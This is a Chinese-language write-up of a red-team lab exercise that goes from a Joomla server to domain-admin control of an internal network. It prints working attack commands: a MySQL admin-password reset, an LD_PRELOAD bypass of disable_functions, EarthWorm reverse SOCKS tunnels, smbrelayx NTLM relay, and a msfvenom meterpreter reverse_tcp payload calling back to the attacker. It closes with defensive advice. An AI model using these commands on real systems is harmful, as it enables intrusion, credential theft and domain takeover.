从Joomla到内网漫游：一次完整的ATKCK红队靶场实战复盘（含EarthWorm代理与NTLM Relay）
红队实战：从Web渗透到内网横向移动的完整攻击链解析
当安全团队试图评估企业网络防御体系时，红队演练已成为检验安全防护有效性的黄金标准。本文将深入剖析一次典型的红队渗透过程，展示攻击者如何从外部Web应用漏洞入手，逐步突破边界防御，最终实现内网全域控制。不同于简单的工具罗列，我们更关注攻击者的思考逻辑和技术决策过程。
1. 目标侦察与初始访问
任何成功的渗透都始于充分的信息收集。攻击者首先会对目标网络进行系统化的侦察：
nmap -sS -A 192.168.43.57扫描结果显示目标开放了22(SSH)、80(HTTP)和3306(MySQL)端口。Web服务运行的是Joomla 3.9.12，这个版本存在已知漏洞。使用专用扫描工具进一步确认：
joomscan -u http://192.168.43.57关键发现：
- 配置文件备份
/configuration.php~暴露了数据库凭据 - MySQL服务允许远程连接，使用弱密码"cvcvgjASD!@"
- 管理员账户密码可通过数据库直接修改
攻击者选择通过MySQL注入修改管理员密码，获取后台访问权限：
UPDATE am2zu_users SET password = MD5('123456') WHERE id = 891;2. 权限提升与持久化
获得Web后台控制权后，攻击者尝试上传Webshell。选择/templates/beez3/目录上传PHP后门文件，因为模板目录通常具有写权限且不会被常规安全扫描重点关注。
然而执行系统命令时遇到障碍：
system('id'); // 返回空白检查phpinfo()发现disable_functions限制了危险函数。此时采用LD_PRELOAD技术绕过限制：
- 上传预编译的bypass_disablefunc.so文件
- 通过特定环境变量加载该库
- 劫持库函数调用执行任意命令
// bypass_disablefunc.c 关键代码 void _init(void) { unsetenv("LD_PRELOAD"); system("/bin/sh -c '你的命令'"); }编译并上传后，通过以下方式执行：
LD_PRELOAD=/tmp/bypass.so php -r "//"3. 内网侦察与代理搭建
获得初始立足点后，攻击者开始内网信息收集：
| 命令 | 用途 | 示例输出 |
|---|---|---|
ifconfig | 查看网络接口 | eth0: 192.168.93.100 |
arp -a | 发现邻近主机 | 192.168.93.1-254 |
netstat -tulnp | 检查本地服务 | 3306, 22等 |
发现内网存在多个网段后，攻击者部署EarthWorm建立Socks5代理通道：
# 攻击机(监听) ./ew -s rcsocks -l 1080 -e 8888 # 目标机(连接) ./ew -s rssocks -d 攻击机IP -e 8888配置Proxychains使所有工具通过代理工作：
# /etc/proxychains.conf socks5 127.0.0.1 10804. 横向移动与权限维持
在内网中，攻击者采用NTLM Relay技术突破Windows域环境：
- 使用Impacket工具包搭建恶意SMB服务器
- 诱使域内主机向该服务器发起认证
- 中继认证信息到目标服务器
python3 smbrelayx.py -h 目标IP -e /tmp/shell.exe攻击链关键点：
- 利用MSF生成Windows载荷
- 通过SMB服务传递执行载荷
- 获取高权限会话后提取凭据
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f exe -o shell.exe成功中继认证后，攻击者获得域管理员权限，可进行以下操作：
- 转储所有域用户哈希
- 创建黄金票据
- 部署持久化后门
- 访问敏感数据存储
5. 痕迹清理与防御建议
专业红队会在演练后清理攻击痕迹，但真实攻击者往往不会。企业可采取以下防御措施：
即时检测点：
- 异常的LD_PRELOAD使用
- 非常规端口上的Socks流量
- NTLM认证日志中的异常源IP
- 同一凭据在多主机上的使用
长期加固建议：
Web应用：
- 定期更新CMS和插件
- 限制配置文件访问权限
- 实施严格的输入过滤
内网防护：
- 启用SMB签名
- 限制NTLM使用
- 部署网络分段
监控体系：
- 建立基线行为模型
- 部署EDR解决方案
- 设置关键操作告警
这场演练展示了现代网络攻击的复杂性和连贯性。从最初的Web漏洞到最终获取域控权限，攻击者充分利用了每个环节的弱点。防御者需要理解，真正的安全不在于阻断每一个可能的攻击入口，而在于建立能够快速检测和响应入侵的多层防御体系。